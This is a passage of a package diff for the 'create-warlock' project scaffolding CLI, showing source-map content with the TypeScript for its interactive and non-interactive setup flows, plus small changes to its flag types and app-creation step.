scaffold(appDetails);\r\n}\r\n"],"mappings":"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"}
|
|
1
|
+
{"version":3,"file":"index.mjs","names":[],"sources":["../../../../../../../create-warlock/src/commands/create-new-app/index.ts"],"sourcesContent":["import {\r\n cancel,\r\n confirm,\r\n isCancel,\r\n multiselect,\r\n select,\r\n text,\r\n} from \"@clack/prompts\";\r\nimport { colors } from \"@mongez/copper\";\r\nimport { getJsonFile } from \"@warlock.js/fs\";\r\nimport {\r\n getDatabaseDriver,\r\n getDatabaseDriverOptions,\r\n isNoDatabase,\r\n} from \"../../features/database-drivers\";\r\nimport {\r\n getAiPackageOptions,\r\n getAiProviderOptions,\r\n getAllFeatureKeys,\r\n getDefaultFeatureKeys,\r\n getFeatureOptions,\r\n} from \"../../features/features-map\";\r\nimport { resolveAgentTargets } from \"../../features/agent-kit-targets\";\r\nimport { App } from \"../../helpers/app\";\r\nimport {\r\n ALLOWED_PACKAGE_MANAGERS,\r\n detectPackageManagers,\r\n getPackageManager,\r\n getPreferredPackageManager,\r\n getSystemPackageManagers,\r\n isValidPackageManager,\r\n setPackageManager,\r\n} from \"../../helpers/package-manager\";\r\nimport { packageRoot } from \"../../helpers/paths\";\r\nimport { hasInteractiveStdin } from \"../../helpers/tty\";\r\nimport { askStack } from \"../../prompts/ask-stack\";\r\nimport { showIntroBanner } from \"../../ui/banner\";\r\nimport { createWarlockApp } from \"../create-warlock-app\";\r\nimport getAppPath from \"./get-app-path\";\r\nimport { AppOptions, App as AppType, CliFlags, Stack } from \"./types\";\r\n\r\nexport default async function createNewApp(cli: CliFlags = {}) {\r\n // Start detecting package managers in the background to avoid delay later\r\n const pmDetectionPromise = detectPackageManagers();\r\n\r\n // Get version from package.json\r\n const packageJson: any = getJsonFile(packageRoot(\"package.json\"));\r\n const createWarlockVersion = packageJson.version;\r\n\r\n // Show the intro banner\r\n showIntroBanner(createWarlockVersion);\r\n\r\n console.log(colors.cyan(\"Let's create something magical! \\n\"));\r\n\r\n // Validate Node.js version (minimum v20)\r\n const [major] = process.versions.node.split(\".\").map(Number);\r\n if (major < 20) {\r\n cancel(\"Node.js version must be at least 20.0.0\");\r\n process.exit(0);\r\n }\r\n\r\n // Non-interactive path: build everything from flags and skip the prompts.\r\n //\r\n // Triggered by --yes, OR automatically the moment stdin has no TTY — CI, a\r\n // script, an agent harness. This check MUST run before the first prompt\r\n // call: attempting `text()`/`select()` on a non-TTY stdin does not fail\r\n // cleanly, it crashes with a libuv internal (\"TTY initialization failed:\r\n // uv_tty_init returned EBADF\") before any app directory exists, no matter\r\n // how the run was invoked.\r\n //\r\n // Prompting is the fallback, not the precondition: a project name is the\r\n // only answer with no sane default, so when a name is already available\r\n // (positional arg or --name) the run proceeds exactly as --yes would, TTY\r\n // or not. When the name is ALSO missing and there is no TTY to ask for one,\r\n // createNonInteractive fails loudly — naming --yes and every non-interactive\r\n // flag — instead of ever reaching a prompt. Every other prompt already has a\r\n // default; see resolveNonInteractiveOptions below for the full table.\r\n if (cli.yes || !hasInteractiveStdin()) {\r\n await createNonInteractive(cli);\r\n return;\r\n }\r\n\r\n // `--interactive` (alias `--customize`) restores the full long-form wizard\r\n // below. Everyone else with a TTY falls through to the default path, which\r\n // asks at most ONE structural question — see createDefaultInteractive.\r\n if (cli.interactive) {\r\n await createFullWizard(cli, pmDetectionPromise);\r\n return;\r\n }\r\n\r\n await createDefaultInteractive(cli, pmDetectionPromise);\r\n}\r\n\r\n/**\r\n * The full long-form wizard (`--interactive` / `--customize`): every prompt,\r\n * one after another. This is the ORIGINAL default flow, preserved verbatim —\r\n * only its trigger moved from \"any TTY\" to an explicit opt-in flag, per the\r\n * rule that a reversible choice never prompts by default.\r\n */\r\nasync function createFullWizard(\r\n cli: CliFlags,\r\n pmDetectionPromise: Promise<void>,\r\n) {\r\n // Step 1: Project name\r\n const appName = await text({\r\n message: \"What shall we call your project?\",\r\n placeholder: \"my-warlock-app\",\r\n });\r\n\r\n if (isCancel(appName) || !appName.trim()) {\r\n cancel(\"A project name is required to continue\");\r\n process.exit(0);\r\n }\r\n\r\n const appPath = getAppPath(appName);\r\n if (!appPath) return;\r\n\r\n // Step 2: Package Manager selection\r\n await pmDetectionPromise; // Ensure detection is complete\r\n\r\n const packageManager = await select({\r\n message: \"Which package manager do you want to use?\",\r\n options: getSystemPackageManagers().map(pm => ({\r\n value: pm,\r\n label: pm,\r\n })),\r\n initialValue: getPreferredPackageManager(),\r\n });\r\n\r\n if (isCancel(packageManager)) {\r\n cancel(\"Package manager selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n setPackageManager(packageManager as string);\r\n\r\n // Step 3: Database driver selection\r\n const databaseDriver = await select({\r\n message: \"Choose your database driver\",\r\n options: getDatabaseDriverOptions(),\r\n });\r\n\r\n if (isCancel(databaseDriver)) {\r\n cancel(\"Database selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n const selectedDriver = getDatabaseDriver(databaseDriver as string);\r\n\r\n // Step 4: Features selection\r\n const selectedFeatures = await multiselect({\r\n message: \"Select optional features to include\",\r\n options: getFeatureOptions(),\r\n initialValues: getDefaultFeatureKeys(),\r\n required: false,\r\n });\r\n\r\n if (isCancel(selectedFeatures)) {\r\n cancel(\"Feature selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 4b: AI providers + capability packages — selecting any pulls\r\n // @warlock.js/ai automatically. The result still flows through the\r\n // `selectedAiProviders` → `aiProviders` pipeline, which now also carries the\r\n // capability packages (ai-tools / ai-panoptic / ai-workspace).\r\n const selectedAiProviders = await multiselect({\r\n message:\r\n \"Add AI packages? Providers + capabilities — the core AI package is included automatically\",\r\n options: [...getAiProviderOptions(), ...getAiPackageOptions()],\r\n required: false,\r\n });\r\n\r\n if (isCancel(selectedAiProviders)) {\r\n cancel(\"AI provider selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 5: Git initialization\r\n const useGit =\r\n (await confirm({\r\n message: \"Initialize a Git repository?\",\r\n })) === true;\r\n\r\n if (isCancel(useGit)) {\r\n cancel(\"Setup cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 6: JWT secret generation\r\n const useJWT =\r\n (await confirm({\r\n message: \"Generate JWT secret keys?\",\r\n })) === true;\r\n\r\n if (isCancel(useJWT)) {\r\n cancel(\"Setup cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // agent-kit targets are not part of the long-form wizard (a reversible,\r\n // low-stakes choice) — they still come from --agents, defaulting to claude.\r\n let agents: string[];\r\n try {\r\n agents = await resolveAgentTargets(cli.agents);\r\n } catch (error) {\r\n cancel((error as Error).message);\r\n process.exit(1);\r\n }\r\n\r\n // Build app details\r\n const appDetails: Required<AppType> = {\r\n appName: appName,\r\n appType: \"warlock\",\r\n appPath: appPath,\r\n pkgManager: getPackageManager(),\r\n options: {\r\n databaseDriver: databaseDriver as string,\r\n databasePort: selectedDriver?.defaultPort || 27017,\r\n features: selectedFeatures as string[],\r\n aiProviders: selectedAiProviders as string[],\r\n useGit,\r\n useJWT,\r\n agents,\r\n },\r\n };\r\n\r\n // Create the app\r\n await scaffold(appDetails);\r\n}\r\n\r\n/**\r\n * The default TTY path: neither `--yes` nor `--interactive` was given, but a\r\n * terminal is available. Asks the project name when missing (a required\r\n * answer with no sane default — same treatment as the non-interactive path)\r\n * plus the ONE structural question (API-only vs full-stack web) when `--stack`\r\n * was not already supplied. Every other choice is resolved exactly like\r\n * `createNonInteractive` — flags, with defaults, never a prompt.\r\n */\r\nasync function createDefaultInteractive(\r\n cli: CliFlags,\r\n pmDetectionPromise: Promise<void>,\r\n) {\r\n let appName = cli.name;\r\n\r\n if (!appName) {\r\n const answer = await text({\r\n message: \"What shall we call your project?\",\r\n placeholder: \"my-warlock-app\",\r\n });\r\n\r\n if (isCancel(answer) || !answer.trim()) {\r\n cancel(\"A project name is required to continue\");\r\n process.exit(0);\r\n }\r\n\r\n appName = answer as string;\r\n }\r\n\r\n const appPath = getAppPath(appName);\r\n if (!appPath) return;\r\n\r\n const stack: Stack = cli.stack ?? (await askStack());\r\n\r\n await pmDetectionPromise;\r\n\r\n const packageManager = cli.pm ?? getPreferredPackageManager();\r\n\r\n if (!isValidPackageManager(packageManager)) {\r\n cancel(\r\n `Unknown package manager \"${packageManager}\" — expected one of: ${ALLOWED_PACKAGE_MANAGERS.join(\", \")}`,\r\n );\r\n process.exit(1);\r\n }\r\n\r\n setPackageManager(packageManager);\r\n\r\n let options: AppOptions;\r\n\r\n try {\r\n options = await resolveAppOptions({ ...cli, stack });\r\n } catch (error) {\r\n cancel((error as Error).message);\r\n process.exit(1);\r\n }\r\n\r\n const appDetails: Required<AppType> = {\r\n appName,\r\n appType: \"warlock\",\r\n appPath,\r\n pkgManager: getPackageManager(),\r\n options,\r\n };\r\n\r\n await scaffold(appDetails);\r\n}\r\n\r\n/**\r\n * Run the scaffold and make the process's exit code tell the truth: anything\r\n * the user asked for that did not happen leaves the shell with a non-zero\r\n * status, so scripts and CI cannot mistake a half-built project for a finished\r\n * one. The problems themselves are printed by the scaffolder.\r\n */\r\nasync function scaffold(appDetails: Required<AppType>) {\r\n const outcome = await createWarlockApp(new App(appDetails));\r\n\r\n if (outcome && !outcome.ok) {\r\n process.exitCode = 1;\r\n }\r\n}\r\n\r\n/** Everything {@link resolveNonInteractiveOptions} can resolve without the network. */\r\nexport type SyncAppOptions = Omit<AppOptions, \"agents\">;\r\n\r\n/**\r\n * Resolve every flag-or-default `AppOptions` field EXCEPT `agents` from parsed\r\n * CLI flags — applying the non-interactive defaults, validating the database\r\n * driver and feature/provider keys, and handling the `none` (no database)\r\n * selection. `agents` is resolved separately by {@link resolveAppOptions}\r\n * because it can require a network fetch; this function stays synchronous so\r\n * the rest of the flag → app mapping remains trivially unit-testable.\r\n *\r\n * `--stack=web` (or the equivalent wizard answer) seeds the `web` feature by\r\n * default — the one structural choice — but an explicit `--features` always\r\n * wins, so a user who spells out the feature list is never second-guessed.\r\n *\r\n * Throws on an unknown driver or feature key so the caller can fail fast\r\n * before any file is written.\r\n */\r\nexport function resolveNonInteractiveOptions(cli: CliFlags): SyncAppOptions {\r\n const databaseDriver = cli.db ?? \"mongodb\";\r\n const noDatabase = isNoDatabase(databaseDriver);\r\n const driver = noDatabase ? undefined : getDatabaseDriver(databaseDriver);\r\n\r\n if (!noDatabase && !driver) {\r\n throw new Error(`Unknown database driver \"${databaseDriver}\"`);\r\n }\r\n\r\n const stack: Stack = cli.stack ?? \"api\";\r\n const features = cli.features ?? (stack === \"web\" ? [\"web\"] : []);\r\n const aiProviders = cli.ai ?? [];\r\n\r\n const allowedKeys = getAllFeatureKeys();\r\n const invalidKeys = [...features, ...aiProviders].filter(\r\n key => !allowedKeys.includes(key),\r\n );\r\n\r\n if (invalidKeys.length > 0) {\r\n throw new Error(`Unknown feature(s): ${invalidKeys.join(\",\")}`);\r\n }\r\n\r\n return {\r\n databaseDriver,\r\n databasePort: driver?.defaultPort ?? 27017,\r\n features,\r\n aiProviders,\r\n useGit: cli.git ?? false,\r\n useJWT: cli.jwt ?? false,\r\n };\r\n}\r\n\r\n/**\r\n * Resolve the FULL `AppOptions` — {@link resolveNonInteractiveOptions} plus\r\n * the validated `agents` list. Async because a non-default `--agents`\r\n * selection may need {@link resolveAgentTargets}'s network fetch; the default\r\n * (`claude`) never does.\r\n */\r\nexport async function resolveAppOptions(cli: CliFlags): Promise<AppOptions> {\r\n const options = resolveNonInteractiveOptions(cli);\r\n const agents = await resolveAgentTargets(cli.agents);\r\n\r\n return { ...options, agents };\r\n}\r\n\r\n/**\r\n * Non-interactive scaffold path for `--yes`. Builds the app from flags with\r\n * sensible defaults and skips every prompt — a single command scaffolds the\r\n * entire app. Validation lives in `resolveNonInteractiveOptions`; a typo fails\r\n * fast here instead of mid-install.\r\n */\r\nasync function createNonInteractive(cli: CliFlags) {\r\n const appName = (cli.name ?? \"\").trim();\r\n\r\n if (!appName) {\r\n // Reached either because --yes was passed with no name, or because stdin\r\n // has no TTY to prompt for one — either way, nothing is left to fall back\r\n // to. Name --yes AND every non-interactive flag so a CI log is enough to\r\n // fix the invocation without hunting for docs.\r\n cancel(\r\n \"A project name is required and no terminal is available to ask for one. \" +\r\n \"Pass it as the first argument or --name=<name>. Non-interactive flags: \" +\r\n \"--yes, --pm=<npm|yarn|pnpm>, --db=<driver>|--no-db, --features=<list>, \" +\r\n \"--ai=<list>, --git|--no-git, --jwt|--no-jwt.\",\r\n );\r\n process.exit(1);\r\n }\r\n\r\n const appPath = getAppPath(appName);\r\n\r\n if (!appPath) return;\r\n\r\n await detectPackageManagers();\r\n\r\n const packageManager = cli.pm ?? getPreferredPackageManager();\r\n\r\n if (!isValidPackageManager(packageManager)) {\r\n cancel(\r\n `Unknown package manager \"${packageManager}\" — expected one of: ${ALLOWED_PACKAGE_MANAGERS.join(\", \")}`,\r\n );\r\n process.exit(1);\r\n }\r\n\r\n setPackageManager(packageManager);\r\n\r\n let options: AppOptions;\r\n\r\n try {\r\n options = await resolveAppOptions(cli);\r\n } catch (error) {\r\n cancel((error as Error).message);\r\n process.exit(1);\r\n }\r\n\r\n const appDetails: Required<AppType> = {\r\n appName,\r\n appType: \"warlock\",\r\n appPath,\r\n pkgManager: getPackageManager(),\r\n options,\r\n };\r\n\r\n await scaffold(appDetails);\r\n}\r\n"],"mappings":"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"}
|
|
@@ -1,17 +1,22 @@
|
|
|
1
1
|
//#region ../create-warlock/src/commands/create-new-app/types.d.ts
|
|
2
|
+
/** The one structural fork that changes the generated app's shape. */
|
|
3
|
+
type Stack = "api" | "web";
|
|
2
4
|
/**
|
|
3
5
|
* Flags parsed from the command line for non-interactive scaffolding
|
|
4
6
|
* (`create-warlock my-app --db=postgres --features=test,herald --ai=openai --yes`).
|
|
5
7
|
*/
|
|
6
8
|
type CliFlags = {
|
|
7
9
|
yes?: boolean;
|
|
8
|
-
name?: string;
|
|
10
|
+
name?: string; /** The one structural question the default path asks: API-only or full-stack web. */
|
|
11
|
+
stack?: Stack;
|
|
9
12
|
db?: string;
|
|
10
13
|
features?: string[];
|
|
11
14
|
ai?: string[];
|
|
12
|
-
pm?: string;
|
|
15
|
+
pm?: string; /** `agent-kit` targets for `--agents`. Comma-separated on the CLI. */
|
|
16
|
+
agents?: string[];
|
|
13
17
|
git?: boolean;
|
|
14
|
-
jwt?: boolean; /**
|
|
18
|
+
jwt?: boolean; /** `--interactive` / `--customize` — restore the full long-form prompt flow. */
|
|
19
|
+
interactive?: boolean; /** `-h` / `--help` — print usage and exit before any scaffolding runs. */
|
|
15
20
|
help?: boolean; /** `-v` / `--version` — print the installed version and exit. */
|
|
16
21
|
version?: boolean;
|
|
17
22
|
};
|
|
@@ -6,6 +6,7 @@ import { showSuccessScreen } from "../../ui/banner.mjs";
|
|
|
6
6
|
import { failFatally, installFailureHints, showNotes, showPartialScreen, showProblems } from "../../ui/report.mjs";
|
|
7
7
|
import { spinner } from "../../ui/spinner.mjs";
|
|
8
8
|
import { spinnerMessages } from "../../ui/spinners.mjs";
|
|
9
|
+
import { printDecisionsSummary } from "../../summary.mjs";
|
|
9
10
|
|
|
10
11
|
//#region ../create-warlock/src/commands/create-warlock-app/index.ts
|
|
11
12
|
/** One-line "why did this fail" pulled out of a captured command. */
|
|
@@ -17,7 +18,8 @@ function reasonFrom(result) {
|
|
|
17
18
|
return lastLine ? `${status} — ${lastLine}` : status;
|
|
18
19
|
}
|
|
19
20
|
async function createWarlockApp(application) {
|
|
20
|
-
const
|
|
21
|
+
const options = application.options;
|
|
22
|
+
const { useGit, useJWT, features, aiProviders, databaseDriver } = options;
|
|
21
23
|
const noDatabase = isNoDatabase(databaseDriver);
|
|
22
24
|
const problems = [];
|
|
23
25
|
const { versions, notes } = await resolveWarlockVersions();
|
|
@@ -31,6 +33,7 @@ async function createWarlockApp(application) {
|
|
|
31
33
|
application.configureDatabaseConfig(databaseDriver);
|
|
32
34
|
}
|
|
33
35
|
application.configureWebStarter(features.includes("web"));
|
|
36
|
+
application.configureAgentKitTargets(options.agents ?? ["claude"]);
|
|
34
37
|
} catch (error) {
|
|
35
38
|
templateSpinner.stop(spinnerMessages.templateFailed);
|
|
36
39
|
failFatally({
|
|
@@ -150,6 +153,10 @@ async function createWarlockApp(application) {
|
|
|
150
